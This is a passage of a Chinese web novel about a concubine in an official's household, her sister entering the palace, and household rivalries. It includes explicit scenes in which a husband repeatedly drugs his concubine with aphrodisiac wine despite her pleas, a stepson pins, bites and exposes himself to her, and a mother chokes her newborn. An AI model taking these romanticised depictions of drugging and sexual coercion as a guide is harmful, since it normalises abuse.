徐可心环着他的脖颈,眸色迷离地看着他,听着耳边的低语,根本难以分辨他到底说了什么,只觉头昏沉沉的,被人扯下衣服怜惜地抱在怀里。 身子燥热难耐,对方的身子却格外冰冷,让她忍不住靠近,紧紧环抱着他的身子,汲取他身上的冷意。 第75章 徐可心意识不清醒,被人抱在怀里,引诱着说了许多平日里难以启齿的话。 之前男人令她唤父亲,她一直难以启齿,只别扭地唤了几声。 眼下头昏昏沉沉的,无论对方说什么,她都乖乖应着,背靠着男人,口中无意识地唤着父亲。 有力的双臂横在她的身前,将她紧紧抱在怀里,让她难以呼吸,只觉整个人被束缚在一堵硬墙上,浑身沁着热汗。 她不曾在醉酒时同这人欢好过,今夜是头一次,整个人失了意识,身心完全寄托在男人身上,好似真得同他所说的那般,成了只知情爱的玩物。 临到最后,她瘫软在床上,微微张唇,口水顺着唇角落在床上,积攒出一块水渍。 男人坐在她身侧,轻轻抚着她的侧脸,低声道,“可心为何同稚童一般口齿生津。” 徐可心累得全身无力,听着头顶的调笑,她费力地挪动身子,枕在男人腿上,环着他的腰腹将脸贴在他的身上,不满地攥紧他的衣裳。 男人的手落在她的颈侧,不紧不慢揉捏。 徐可心本来未理会,直到男人的手抚向她的后背,隐隐有向下的趋势,她下意识攥住男人的手臂,闷声求饶道,“大人……真的不行了……” 男人轻笑一声,反握住她的手,“可心仍有力气同为夫讲话,如何不行?” 她闻言身子一僵,环住男人腰腹的手臂用力,挪着身子躲他的手。 她实在没有力气了,只想睡觉,况且男人太难缠,变着姿势抱着她,她完全没有挣扎的力气,只能扶着男人的肩膀和手臂堪堪稳住身子,整个人悬在半空,鲜少落在床上。 她没了力气,只想早些入睡,男人起身,向床下走去,还未等她抬眼看大人去做什么,就听见了水落入杯中的声音。 她身子一颤,男人去而复返,抚着她的下巴,吻上她的唇,将掺了情药的酒水再次渡到她口中。 徐可心抬眸,含着口中的茶水,泪眼汪汪地看着男人,却见对方垂着眉眼,笑着注视她。 她迟迟不咽下去,男人将她揽在怀里,捂住她的唇,边吻她的侧颈,边按揉她的腰侧。 她难以自抑地微微张唇,一口水顺着喉咙,直接流进五脏肺腑,余下的水顺着唇角溢出,打湿身前早已经褶皱不堪的绸衣。 待情药复又在身上起了反应,她可怜巴巴地看着男人,祈求他的怜惜,可对方只奖励似的啄吻她的唇角,柔声地说了一句“可心很乖。” 徐可心坐在他怀里,泪眼婆娑地摇头。 “妾身不乖的,大人,妾身真得不行了……” 往日男人做的太过,见她恳求也会迁就她,可今夜饶是她哭到嗓子哑了,对方也只是抚着她的侧脸,再喂给她掺了情药的毒酒。 临近凌晨,男人才堪堪放过她。 并非同情她,而是他必须离府上朝了,徐可心想,若他没有公务在身,怕是能一连折腾她数夜。 她被这人玩弄了一整夜,见他终于要走,方要松口气,却见男人去而复返,复又俯身吻上她的耳垂,低声嘱咐道,“为夫不在府中时,可心只留在院中,勿要再去见旁人。” 男人在她耳边轻语几句,得了她无意识的保证后,才细细啄吻她的眼皮,前去上朝。 男人方离开,她就蜷缩身子,顾不得身上的脏污,一头扎进被子里沉沉睡去。 那夜服下过量的情药和酒水,她整整调养数日,身子才彻底恢复。 还留下了后遗症,一听到水声,身子就下意识颤抖。 她本来隐瞒此事,未敢告诉男人,可对方不知如何发觉的,夜里无声注视她的身子半晌,忽得轻笑一声,很快染上恶习。 具体表现在,每天将她抱在怀里喂她喝水,然后极为恶劣地欣赏她窘迫的面色。 徐可心欲哭无泪,又难以挣脱,只能埋首在罪魁祸首怀里小声哽咽。 对方还偏偏装出一副好夫君的模样,揽着她的腰轻声哄慰。 徐可心被折磨数日,终于长了记性,白日里莫说去见旁人,她直接遣散院内的小厮,生怕再同旁的男人传出风言风语,然后得了大人的惩处。 想起一开始,她还隐隐期待这人的疼爱,现在回想起,她只觉自己好似中了邪,被男人如今温和的面色蒙蔽心智,忘记这人是个恶劣的,惯会知道如何折腾她。 饶是这样,她也未忘记同男人提起小妹的事情,告诉他不 想让小妹入宫,对方闻言,倒也未说什么,应允了她的话,说明日会同陛下提及此事。 徐可心本想着,有大人说情,少帝应会答应,谁成想第二天,少帝直接跑来府中,直奔听雨阁。 她同小妹方用完午膳,就听门外传来嘈杂的脚步声,“阿姐!念安!” 还未等两人反应,身着金袍的少年推门走去,一见到念安,就不管不顾地扑进她怀里,嗓音哽咽问,“念安你为何不愿入宫?” 徐念安微微蹙眉,按着他的肩膀用力推开他,同他行礼,“我何时说过不愿入宫?况且陛下,你为何要哭?” “朕未哭,朕只是太难过了。”少帝复又上前一步,用力抱住她的身子,整个人靠在她怀里,无论如何不松手,还把眼泪蹭到她的衣衫上。 若非他年纪尚小,加之哭得太可怜,难保不会被人当成登徒子。 徐可心站在一旁,闻言微微行礼,温声道,“陛下,不让念安入宫是妾身之意,她尚且年幼,行事莽撞,若入宫后,恐会冲撞旁人,还请陛下收回成命。” 她温声说完,小妹站在她身侧,看着面前的少年,也未说什么。 少帝见状,忙不迭哭着道,“阿姐,冲撞了又如何,有朕给念安撑腰,无人敢治念安的罪。” 他眼尾悬泪,面色可怜至极,不见半分恶劣之色。 徐可心话语一噎,未曾想过对方会说出这番话,她看向一旁的小妹,却见小妹面色紧绷,紧抿着唇。 不知想到什么,徐念安垂下目光,用帕子轻轻擦拭他脸上的泪水,声音难得的平静,“若民女同陛下回宫,可有什么好处?” 见她同少帝提条件,徐可心眸色微怔,方要令她勿要这般说,对陛下不敬,可少帝闻言,倏地露出笑容,忙不迭道,“念安想要什么,朕都给念安。” 他答应得太过痛快,承诺得又很重,透着千金一笑的风流劲,完全不似面上那般可怜。 徐念安无声看了他半晌,“真的?” “自然是真的,朕如何会骗念安。”少帝下意识道。 徐念安闻言,未再理会他,反而看向徐可心,她半阖眉眼,眼底透着几分徐可心看不懂的神色,眸色微深,不似落寞,倒像是终于做下什么决定。 四目对视,徐可心怔愣地看着她,却听她道,“阿姐,既然陛下下了旨意,念安也没有抗旨不遵的道理,阿姐不必再为此事费神了。” 话音一落,少帝当即惊喜道,“念安你愿意随朕入宫?” 小妹垂眸看着他,微微颔首。 徐可心站在一旁,见状紧抿唇,小妹素来喜欢自由,不喜管教,依她的性子,理应不会答应入宫才对,可眼下……她却答应了。 少帝哭着诉说一通,见她终于答应,忙不迭拿出怀中的圣旨,强硬地塞到小妹手中,“既然答应了就不得反悔。” “知道了。”小妹垂着眉眼,轻声嘟囔一声。 徐可心未想过小妹会主动答应此事,但见两人已经有了约定,她终究未再说什么。 小妹已经长大了,说不定也有她的考量在里面。 没过多久,徐二小姐快要入宫的消息就传了出去。 二姨娘正在院中品茶时,房门被一把推开,她抬眼看去,却见三姨娘挺着大肚子,快步走了进来。 一见到她就急切道,“你三哥都被革职了,你还有心思坐在这里品茶?” 二姨娘……不紧不慢放下茶杯,眼也不抬道,“不然又该如何?徐家两姐妹如今得势,哪个都惹不起,更别提二少爷素来受夫人纵容,我又有何能耐?” 三姨娘面色紧绷,抬手捡起桌案上的花瓶直接摔在地上,“那也不能任由他们几人得势?凭什么他们打人无事,又是得了官位,又是得了陛下垂青,只有你三哥被惩处。” 二姨娘瞥了一眼她的肚子,思索半晌后,轻声道,“如今你怀有身孕,大可以同大人说情,我无权无势,却是不能为三哥做什么。” 三姨娘闻言,抚着自己的腹部,咬牙道,“别让他们落在我手里。” 第76章 小妹答应入宫,隔天少帝就派人接近宫里,太监们搬着红木箱子,一箱一箱送进听雨阁。 知道的是他择了一个女官,不知道的还以为他选了妃嫔。 临行前,徐可心攥着小妹的手腕,仔仔细细叮嘱她,一定要守宫规,不得冲动行事,更不要触怒陛下。 小妹无奈地看她,“阿姐,我只是进宫做女官,到了年纪就出宫了,你不必如此忐忑。” 少帝站在她身侧,攥着她的衣袖,闻言面上的喜色淡了几分,上前一步,埋首在小妹怀里,环住她腰侧的手臂用力。 小妹揽着他的肩膀,轻声道,“况且陛下年幼,无人照顾的话,保不齐在宫中如何受欺负。” 话音刚落,少帝抬头,微微颔首,格外崇拜依赖地看着小妹。 想起那日少帝戏弄李家父子下跪一事,徐可心微微张唇,欲言又止,横竖怎么看,少帝好似也不会受人欺负。 只是外表看起来很乖,但其实是个黑芝麻汤圆。 她心上忐忑,但见两人姿态亲近,又不知说什么,最后只轻轻叹了口气。 两人眼下都是孩子,待陛下长大后,到时小妹也离宫了,想必眼下两人应不会生了嫌隙。 徐可心在心里默默安慰自己,抱着青姝,送小妹上了马车。 小妹抚着青姝的侧脸,低头轻轻吻了一下她的眉心,小声道,“你母亲不争气,往后青姝只依靠姨母。” “……” 徐可心嗔怪地看了她一眼,小妹摸了摸鼻梁,唤了声阿姐,毫不犹豫地上了马车。 小妹让她早些回府,可她心上挂念小妹,抱着青姝站在原地,远远看着马车。 马车快到拐角处时,幕帘被人掀开,小妹探出半个头,回头看了过来,好似未料到她还站在原地,小妹眸色一怔,远远喊着,“阿姐,当心中暑,快回府罢。” 今日日头的确大,徐可心站在原地,未听从她的话回府,待马车消失在拐角,她才抬手挡在眼前,看了眼半空的日头。 京城居北,入夏后,日头又烈又燥,好似再也不会同往日那般潮湿。 她不明白小妹为何要入宫,见小妹毫不犹豫地离开了,不免有种被小妹抛下的感觉,但她知晓,小妹早晚会离开,也有自己的路要走了,说到底,只是她舍不得小妹,放心不下念安。 入夜后,她愁眉苦脸地趴在男人怀里,林远舟单手执书,另外一只手揽着她的腰。 好似知晓她在因何发愁,男人温声道,“为夫已命人照看她,若她触犯宫规惹怒陛下,会命人将她带回府中。” 男人不紧不慢讲述,几乎瞬间,打消她心头的顾虑。 她攥着男人衣服,埋首在他怀里闷声道,“我只是……很担忧她。” 男人的手落在她的脖颈,不轻不重按揉,“有为夫在,不会让她出了闪失。” 他的声音平和有力,徐可心沉默半晌,环着他的脖颈轻轻嗯了一声。 小妹入宫没多久,林昭明就被解了禁足,奉旨入朝为官。 他刚入朝为官,直接被授予正三品的官职,而未从六七品官员做起。 他虽是状元不假,但给他的官职太高了…… 众人本来颇有微词,借着为李侍郎不平的名义,在朝堂上当众提起此事,未被陛下理睬,下朝时还为此聚在一起腹诽几句。 等知晓李侍郎的儿子令陛下下跪学狗叫后,几个官员恨不得扇烂自己的嘴,恨自己白日为何哪壶不开提哪壶,在朝堂上提及此事。 不过林昭明年纪尚轻,位居要职实在不妥,众人心上多多少少有些不满。 旁人平日上朝看林昭明时,也把他当关系户看待,对他并不热络。 刑部的几个老油条,有意为难他,派给他的活计都是得罪人的脏活累活,若是李侍郎,早就将活计推给别人,偏偏林昭明是个执拗的,不知同谁较劲,把所有活都揽了下来,亲自率人处理。 他是当朝首辅之子,又是个暴虐狠戾的性子,旁人害怕得罪人,不敢轻举妄动,他倒好,一刀砍掉意图谋逆大臣的脑袋,丝毫不在意其背后的党羽。 众人知晓后,背地里骂他愣头青,但在面上的确畏惧他三分,态度也变得恭敬些许,生怕犯了事碰到他,再被他砍掉脑袋。 他仗着出身和官职,还真在吃人的刑部立了足,旁人见到他,也不唤林二公子了,而是毕恭毕敬地唤他一声林侍郎。 听雨阁。 徐可心坐在屋内,看着小妹命人送回的书信,叹息不停。 入宫还不到一月,小姑娘就把几个办事不用心的老人骂得狗血喷头,偏偏少帝还纵容她,想着法子给她升职。 她看完书信,只觉心口堵得慌。 小妹胡闹也就罢了,怎么少帝 也跟着她一起胡闹。 旁的宫人一辈子爬不到的职位,小妹只短短几天就被抬了上去,还是陛下的口谕。 徐可心不知道该欢喜还是该担忧,但见小妹得陛下青睐,心上还是不自觉松了口气。 她只留意小妹那里的动静,不曾想过旁人,虽知晓林昭明已入朝为官,但也未命人打听一二,更别提派人前去问候。 她不紧不慢阖上书信,珍重地放在梳妆台下,想着时不时拿出来看一看。 今日日头正好,她正想抱着青姝出门闲逛时,房门被从外面一把推开。 “二少爷,你受了伤,先回院中罢。”丫鬟仓促的劝解声从门外传来。 徐可心抬眼看去,却见数日不见的男人满身是血地走入屋内,手中还提着一把长刀。 殷红的血液落在刀背上,顺着刀尖滑落在地。 林昭明站在门前,用袖子随手擦了一下脸上的血污,抬眸看了她一眼,一句话未说,砰的一声倒在地上,阖上眼睛好似晕了过去。 徐可心眸色一怔,未来得及深思,连忙命人唤郎中过来。 待郎中解了衣服,为他检查伤口,才发觉虚惊一场,这人未受重伤,只是数日未睡,忽得放下心中戒备,才会骤然晕倒在地。 顾名思义,人累得睡过去了。 徐可心站在床前,面色复杂地看着躺在床上沉睡不醒的男人,命人为他换下外衣擦拭身子。 那日看李侍郎红光满面的神情,她还以为如今刑部侍郎只是个闲职,不然为何陛下会令林昭明顶替李大人,哪里想过林昭明上任后,会累到这般田地。 她坐在床前,见林昭明额头沁着热汗,拿着团扇,轻轻摇动为他解暑。 郎中说待人睡够了就会醒来,可直到日上三竿,对方也没有清醒的征兆。 她的面上不免露出几分担忧,徐可心方要站起身,命人再请郎中过来,可还未等她站起身,就被人拦腰紧紧抱住。 她垂眸看去,却见方才迟迟不醒的男人,此时紧紧抱着她的腰,整个人埋首在她怀里,闷声唤了声姐姐。 声音很轻,好似只是呓语一般。 徐可心身子一僵,慌乱推开他,退后三步远。 林昭明没有防备,直接倒在床上,他怔愣地看着一旁,抚着自己的头,良久才回过神,转头看了过来。 在看到她的瞬间,眉头紧拧,“你为何在我房中?” 徐可心攥着团扇,谨慎地看着他,缓声道,“你方才突然闯入我房中,一句话未说晕倒在地,既然醒了,快些离开罢。” 林昭明撑着床坐起身,闻言面色紧绷。 徐可心看了眼他突然涨红的耳朵,站在原地未再说什么。 过了半晌,林昭明才堪堪回神,他看了眼身上干净的衣裳,复又低头看了眼面前温软舒服的被子,眼也不抬道,“你帮我擦拭了身子……” 未等他说完,徐可心先道,“命下人做的。” 林昭明话语一顿,面上的红意褪去些许,他攥着身前温软的锦被,直直看了过来。 在触及到她手中的团扇时,他紧抿着唇,忽然道,“虽是下人做的,但还不是你命令的?” 徐可心看了他一眼,未再说什么。 她单站在那里,眸色疏离冷漠,不见半分温柔之色,分明方才在梦里抱着他哄他入睡,现在却一副不相干的模样。 林昭明垂在身侧的手紧攥被子,沉默半晌,低声道,“我的腿很麻,难以下床,你过来扶我一把。” 他说完,向徐可心抬起手臂。 想起这人来时直接晕倒在地,徐可心犹豫片刻,终究上前一步,她方要扶住这人的身子,男人没有征兆地起身,用力箍住她的腰将她压在床上,一把扯开她的外衣,埋首在她怀里咬牙道,“既然心软收留我,为何还装作一副不在乎的模样?徐可心,你还要戏弄我到何时?” “你以为我是路边的流浪狗,想收留就收留,不喜欢了再一脚踹出去?” 他的双臂极为用力,好似铁钳一般紧紧箍住她的腰,半边身子落在她的身上,压得她几乎喘不过气。 徐可心忙不迭拍他的后背,“你快起来!” “我不起,我就要缠着你。” 林昭明冷声说完,将头用力埋在她怀里,真得像条狗一样,呼吸粗重,嗅闻她身上的味道。 林昭明枕着她的心口,从下往上,不断嗅闻,动作贪婪急切,要把她身上的味道刻到骨子里似的。 他一开始只胡乱闻着,忽得动作一停,直直盯着她的身子看。 徐可心顺着他的目光看过去,却见自己的衣裳微微敞开,露在外面的锁骨处清晰地印着一个青红的吻痕。 她慌乱抬手,抓紧衣服,起身想要躲开他的桎梏,可本来还算冷静的男人眉眼一沉,直接攥住她的手臂扯过头顶。 一手桎梏她的双臂,另外一手直接扯开她的衣裳,几乎瞬间,她身上的吻痕毫无保留地袒露在他面前。 林昭明面色阴沉,倏地抬眸,“都是他留下的痕迹?” 他是谁不言而喻。 林昭明眉眼阴鸷,好似毒蛇一般,死死盯着她身前的吻痕。 徐可心面色霎时一白,心跳得极为快,害怕他胡来,整个人僵在床上不敢乱动。 第77章 林昭明的双臂撑在她身侧,死死盯着她身上的痕迹看了良久,忽得抬手,一手按在她的肩膀上,一手钳着她的腰,俯身直接咬在她的心口上。 好似吃人心肺的野狼一样,隔着皮肤胡乱啃咬,恨不得吞掉她的心肺似的。 他未收力下了死口,徐可心只觉心口的肉被咬得生疼。 她紧蹙着眉,抓着林昭明的头发,想要将他推开,可她刚刚表现出些许抗拒的意思,这人就加重手上的力气,将她牢牢固定在床上。 林昭明整个人压在她身上,和条大狗一样,撕咬她的肉,无论如何也不松口。 徐可心疑觉自己心口的肉几乎快要被咬掉了。 男人伏在她身上,一开始只发泄地胡乱咬着,过了良久,好似终于泄了气,又开始舔着她的伤口,边舔边冷声道,“你不准让他吻你。” 林昭明的舌头又湿又重,滚烫的呼吸不断落在她的皮肤上,惹得她身前的汗毛直立。 她扯着林昭明的头,复又想推开他,这次林昭明直接收紧手臂的力气,也不胡乱咬着了,整个人无赖似的环抱着她,恨不得融进她的身体里一样。 徐可心被压得喘不过气,额头沁着热汗。 “你有没有听到,你不准让他吻你。” 徐可心挣脱不得,转过头阖上眼睛,“我是大人的妾室,自然想要和他欢好,也喜欢大人吻我的身子。” 男人倏地抬头,盯着她一字一句道,“我也可以吻你!你让我吻哪里我就吻哪里。” 徐可心闻言,忽觉头格外疼。 知道和这人好好讲话没用,她沉默片刻,眼也不抬道,“你咬得我很疼,让我很不舒服,况且你不久就要成婚了,我不喜欢有妇之夫男人的吻。” “你那日说我不再是少女,可你也不再是少年,你本就不及大人,如今不再年轻,唯一的优势更是不复存在。你还是听从你母亲的话,同人早日成婚罢,勿要再来纠缠我了。” “你也说了,我在教坊司受人调教,离不开男人,如今我重欲,只喜欢能满足我的男人,不想再同你每日谈情说爱,听你的花言巧语,做着不切实际的美梦。” “若你还是少年也就罢了,可你已然不再年轻,心智不成熟不说,年纪也愈发渐长,不再青春年少,于我而言,你和旁的男人没什么两样。” 徐可心不紧不慢说完,忽觉身前之人久久无言,她抬眸看去,却见方才还面色阴沉的男人,此时怔愣地看着她,整个人好似被定住一般。 四目对视,林昭明古怪地皱眉,面色 带着几分怒气,好似要质问她一样,可眉眼却在不知不觉中耷拉下来,好似被主人嫌弃的狗,过了半晌,才咬牙道,“我还未成婚,也未碰过别的女人,不是有妇之夫。” “我如今还未弱冠,如何就不是少年了?你就是不喜欢我,故意挑我的刺。” 话落,不知道想到什么,他没有征兆地坐起身,跨跪在她腿上,伸手扯开他的裤带,将里面的那物直接拿了出来,咬牙道,“你仔细看看,我如何不能满足你?” 知道林昭明听不得自己被她拿来和别的男人比较,徐可心方才有意说那些话,只想将人气跑,哪里想过他直接脱了裤子。 林昭明挺直腰背,眸色认真,丝毫未觉此举有何不妥,直直盯着她看,好似还在等她的认可。 少年时这人就不管不顾在她面前脱了一回,她如何想到,过了数年,这人仍失了分寸,又在她面前脱了裤子。 那时年纪小,不懂事也就罢了,现在快要弱冠,还这般莽撞。 徐可心紧抿着唇,只觉这人太过失礼,她紧攥身侧的被子,冷声道,“你对旁人也这般无礼,直接褪下裤子给人看?” “你是蠢货不成?” 徐可心素来温声细语同他讲话,饶是生气了,也只冷声冷语,从不会失礼骂人。 林昭明头一次听她骂人,骂的人还是他自己,他霎时难以接受,昏着头俯下身,复又紧紧抱住徐可心,语气阴沉道,“我何时褪裤子给旁人看?不是你方才说喜欢能满足你的男人,我才褪下裤子。你不喜欢也就罢了,还斥责我。” 林昭明越说越觉火上心头,盯着她的身子,复又张口咬了上去。 锁骨处传来刺痛,徐可心微微蹙眉,这次未再说什么,直接一巴掌打在他的脸上。 “出去!” “离我远些!有多远走多远!” 一巴掌打下去,身前的人彻底僵住,垂在身侧的手紧攥成拳,低垂着头不知道再想什么。 徐可心扯着身前的衣裳,笼住身子,冷眼看着他。 过了半晌,林昭明抬头,面无表情地注视她良久,才倏地起身,下了床就要离开。 徐可心扶着床,看着他满是戾气的背影,冷声道,“把裤带系上,勿要出门惹人笑话。” 男人身子骤然一顿,驻足良久后,才头也不回道,“我就喜欢露着给旁人看,不用你管。” 他负气说完,大步向门外走去,临到快出去时,终究停了下来,用力扯着裤带系紧,顶着红肿的侧脸走了出去。 门被砰的一声关上,徐可心紧攥着被子,胸膛起伏不停,只觉这人行事愈发失了规矩。 眼下房内只余下她一人,待思绪平复,她拉开衣服看向胸口,却见一个青红渗血的齿痕清晰地印在心口处,被咬处隐隐作痛,她寻来药脂,小心涂抹在上面。 上药时,她面色紧绷,忽得后悔今日收留那人,就应命人将他送回院中,让他母亲照顾看管他。 林昭明前几年不想见她时,总拿他母亲做借口,说他母亲令他留在府中。 分明之前时常往她院中跑,忽然就不愿理会她,成日里拿他母亲做说辞,她一开始以为这人想专心治学,才不离府,等在别家宴会看到这人同沈家小姐嬉笑交谈,她才发觉这人一直在骗她。 徐可心垂下眉眼,忽觉胸口格外沉闷,只希望林昭明早日成婚,成家后有了顾虑,兴许会收敛几分,不会再同眼下这般莽撞无礼。 林昭明顶着脸上红肿的痕迹,衣衫不整地离开听雨阁,路过颂兰苑时,同一个小厮撞在一起。 小厮慌乱行礼,不断同他告罪,林昭明正气头上,满脑子都是徐可心方才那句不喜欢有妇之夫的吻,还有那句他不再青春年少。 他未理会小厮,随口斥责了一句,大步向自己院中走去。 他正年轻,还未成婚,怎么就不再青春年少,还成了有妇之夫。 喜欢他的时候,轻声细语地唤着昭明,还说要给他生子,不喜欢他了,就嫌恶他不再年轻。 况且他分明已经脱裤子,也给徐可心看他的东西了,这人竟然不仅不理睬,还斥责他。 难不成他的东西未入她的眼…… 思及此,林昭明面色阴沉,他方才也看见了,这人的屁股也就那么大,若他的东西都不能满足徐可心,他想不明白,还有谁能满足她。 林昭明越想越气,越想越觉方才徐可心就是故意挑他的不是。 他满身戾气地向远处走去,小厮站在原地,远远望着他的背影,转身向颂兰苑走去。 回了自己院中,他本来想小憩片刻,就回刑部,但不知为何,他躺在床上一闭上眼睛,面前就不自觉浮现徐可心的身影,这人赤着身子趴在他怀里,模样乖得出奇,同记忆里一般无二。 他骤然抬眸,掀开被子,看着腿间的东西,忽得想起什么,他倏地起身,掀开枕头,拿出放在下面的淡青色肚兜,埋首在上面轻轻嗅闻。 过了数年,肚兜上面早就没有她身上的温软香气,更别提她胸前的奶香味。 他将肚兜蒙在脸上,不断用高挺的鼻梁摩挲肚兜,不断回想方才埋首在那人怀里的感觉。 单单嗅闻,又觉不尽兴,他紧攥着肚兜,良久后解开裤带,将细软的布料覆了上去…… 方才徐可心骂他时,他当时只感觉恼怒,生气这人竟然骂他,可眼下再回想,才发觉这人骂他时,眼尾微红,眸色罕见的凌厉。 徐可心平日里待人有礼,没骂过别人,第一句蠢货给了他,足以说明,这人还是在意他的,不然她怎么不骂别人。 林昭明撑着床,低垂着头,呼吸逐渐粗重,早在遇见徐可心的那日起,他的一切春梦都和她有关,只有想到徐可心时,他才会有反应。 徐可心必须对他负责,哪怕他当狗,也要紧咬徐可心的裤子不放,这人别想和他划清界限。 肚兜刚被他放在枕下时,又细又软,这么多年过去,早就褪色些许,变得微微发硬,他不明白,分明他每日已经用心清洗了,为何还是无法避免肚兜变得陈旧。 等再次遇见徐可心,将她抱在怀里时,林昭明想明白了,这个旧了,他再偷一个新的就是了。 徐可心就在那里,他想偷就能偷到,不必再像那三年浑浑噩噩的,不知道去哪里寻得徐可心的踪迹。 淡青色的肚兜微微泛白发黄,被随手扔到他清洗脸颊的面盆里。 林昭明垂着眉眼,冷白修长的手指攥着肚兜,不紧不慢清洗。 过去徐可心刚来初潮时,脸皮薄,不好意思让丫鬟清洗,他恰巧撞见,拿过沾血的袭裤,就站在水盆前清洗。 他当时算着日子,每月按时跑去徐府给徐可心洗裤子,后来同徐可心生疏后,他本以为没人为徐可心洗裤子,徐可心会尴尬无措。 他思来想去,终于纡尊降贵地跑去徐府,想着为徐可心洗裤子,谁想到刚进院子,恰巧撞 见下人端着她染血的裤子走了出来。 那时候他才知晓,没了他,还会有旁人给她洗里裤,他越想越气,为此同徐可心吵了一架,认为徐可心背叛了他。 那时徐可心凡事都哄着他,哪里像现在这般绝情。 林昭明垂着眉眼,揉着手中的肚兜,待彻底洗掉上面的脏污,他才走至书架前,将肚兜搭在上面。 那里的日头最足,晒过的肚兜会染上暖阳的味道。 必须用心清洗,好好放置,才会闻到香气,不然直接放到枕下,布料会变得皱巴巴的,散发潮湿的气味。 林昭明站在原地,盯着面前的青色布料,掠夺的念头不自觉再心头蔓延。 父亲年纪大了,素来冷心冷血,想必也弯不下脊骨,没他会照顾人。 他如今是刑部侍郎,待他得了政绩,以后还会晋职,不会止步于此, 侍郎,尚书,再进一步就是首辅,待他爬上那个位置,徐可心就会知道,他不比父亲逊色。 他面无表情看了半晌,上前一步,俯下身吻上肚兜,低声道,“我很想吻你。” “方才就想吻了。” “但你的目光说,你不喜欢我吻你。” 林昭明用脸轻蹭肚兜,过了良久,才提刀离府,前去刑部。 待他取代父亲,一切就会回到最初。 颂兰苑。 小厮在门外撞见林昭明后,刚回屋内,就把方才的事情告诉了三姨娘。 三姨娘抚着肚子,“你说二少爷衣衫不整地从听雨阁出来了?” 小厮微微颔首,“小人虽未亲眼瞧见,但见二少爷脸颊微红,好似被人打了,而且二少爷来的方向也恰巧经过听雨阁,想必他刚从徐姨娘院中出来。” 三姨娘闻言,思索半晌,嘱咐道,“你晚些给李郎传信,让他今夜来见我,只说我身子不适,肚子很疼。” 忽得想到什么,她又扯住小厮的袖子,补充道,“告诉他,孩子想他了,让他早些过来。” 小厮扯回自己的袖子,前去传话。 入夜后,三姨娘挺着大肚子,前去那间院落等候,可从天黑等到天明,都未看到李三公子的身影。 小厮站在一旁,犹豫良久,提醒道,“姨娘,天亮了,大人想必不会来了。” 三姨娘坐在木凳上,闻言面色紧绷。 她不日就要临产,肚子格外挺,正是应该小心谨慎的时候,她跑来这里,又坐了一整夜。 她做到如此,对方竟然未来见她。 小厮站在一旁侯着,正想着如何劝解她回府时,却见本来好端端坐在那里的女人,身子歪斜,直直地向地上摔去。 砰的一声,女人晕倒在地,腿间也隐隐渗出血。 小厮眸色一怔,连忙上前,“姨娘!” 三姨娘早产了,不过也快到日子了,未同徐可心那般受罪,只哭了几个时辰,就将孩子生了下来。 母子平安,生了位公子。 不似知晓徐可心生下女儿时,各院都松了口气,在得知三姨娘生下一个男婴后,各院均未有什么动静,甚至未派人前来打听。 好似于众人而言,无论三姨娘生男生女,都不值得众人在意。 颂兰苑,三姨娘抱着怀中的男婴,眸中的笑几乎快要溢出来。 小厮从院外回来,挪着步子上前,“恭喜姨娘喜得贵子。” 三姨娘看了他一眼,轻笑一声,“大人知晓我怀下公子,作何反应?” 小厮犹豫半晌后,才斟酌道,“姨娘,大人公务繁忙,未准小人入书房。” 三姨娘面上的笑意微凝,“你未告诉大人我生下一位公子?” “姨娘……小人告诉了,可大人仍未理会小人。” 话音刚落,三姨娘脸上的笑意彻底褪去。 她看着怀中的孩子,忽得抬手,用力掐在他的脖颈上,斥责道,“都怪你不争气,既不讨你父亲喜欢,也不讨大人喜欢。” 她的手指极为用力,孩子刚睡醒,直接大声哭了起来。 听到她的话,小厮连忙上前,小声提醒,“姨娘,隔墙有耳。” 三姨娘紧掐着男婴的脖颈,直到婴儿面色涨红发青,她才倏地松手,面色紧绷。 如今这孩子就是他的依仗,他不能死。 三姨娘紧攥着襁褓,良久后兀地冷笑出声。 她算是看清了,那个负心汉根本未把她放在心上,大人更是从未理会过她,怕是连她姓什么都不知道。 三姨娘深呼一口气后,看着怀中的孩子用力抱紧。 没关系,她已经生了男婴,只要他的儿子能争口气,她也会母凭子贵。 若只生个女儿,她没有别的法子,只能令女儿寻个富贵人家,才能从中获利,但她现在生的是儿子,她可以让儿子去争。 只要府上的两位少爷都受大人厌恶,她的孩子便有了出头之路。 想起小厮告诉她二少爷衣衫不整地从听雨阁出来,三姨娘倏地起身,不顾自己刚生产,抱着男婴就向书房走去。 大人不将旁人放在心上,又岂会想过,他素来纵容的徐姨娘同他的儿子纠缠不清。 听雨阁。 徐可心正在房中陪青姝玩闹时,丫鬟匆匆跑了进来,“姨娘,大人唤你去书房。” 平日里大人也时常唤她过去,徐可心未多想,将青姝交给乳母,起身前去。 她本以为大人只唤了她一人,可等推门时,却见三姨娘和林昭明都跪在地上。 林昭明背对着她,后背挺直,对着坐在桌案前的男人直言道,“父亲,徐可心本就是我的未婚妻,我心悦她!” 徐可心闻言身子一顿,怔愣地看着林昭明的背影,过了片刻,她抬眼看向主位,却见男人也在看她。 男人眼底淡漠,让人看不出喜怒,但不知为何,徐可心还是不自觉心尖一滞。 她忽得想起那夜大人的告诫和惩处,只觉双腿酸软,想要从这里逃离。 好似识破她的意图,男人语气没有起伏道,“过来。” 只轻飘飘两个字,徐可心就不受控地僵在原地。 过了良久,她实在难以忍受男人的目光,压着心头的恐惧,硬着头皮上前。 第78章 徐可心推门走进,迎着几人的目光,挪着步子走到林远舟身侧,垂着脑袋,含糊地唤了一声大人。 她那夜被这人喂了太多情药,彻夜不清醒,一连数天害怕听见水声,更怕他的惩处。 徐可心看了眼跪在不远处直直盯着她的林昭明,想起他方才那句话,心上没有半分触动,只觉汗毛直立,格外恐怖。 林远舟揽着她的腰,将她往怀里带。 这人素来不顾及旁人的目光,无论在人前还是私下,总是将她抱在怀里,毫不掩饰地向旁人表露两人的亲近。 徐可心扶着他的肩膀,小心翼翼看了他一眼,这人面上没什么情绪,但依她对这人的了解,大人想必早就想好了惩处她的法子。 思及此,她的眉眼不自觉耷拉下来,扶着男人的肩膀,手指微微用力,攥着他的衣服。 林远舟淡淡瞥了她一眼,靠在椅背上,另外一只手随意搭在桌案上,漫不经心道,“眼下徐姨娘已经来了,把你方才的话再讲述一遍。” 三姨娘跪在地上,接触到他的目光,忙不迭道,“大人,妾身院中的下人那日亲眼瞧见,二少爷衣冠不整地从徐姨娘院中出来,两人想必……” 她话音一顿,抬眼看向徐可心,指着她,一字一句道,“有奸情!” 她话语笃定,好似亲眼看到两人苟合一般,徐可心时常被人冤枉指责,早就对此习以为常,但如何想过,三姨娘会无端对她发难。 想起那夜李三公子翻墙的情景,徐可心面色怔愣一瞬,又很快恢复平静。 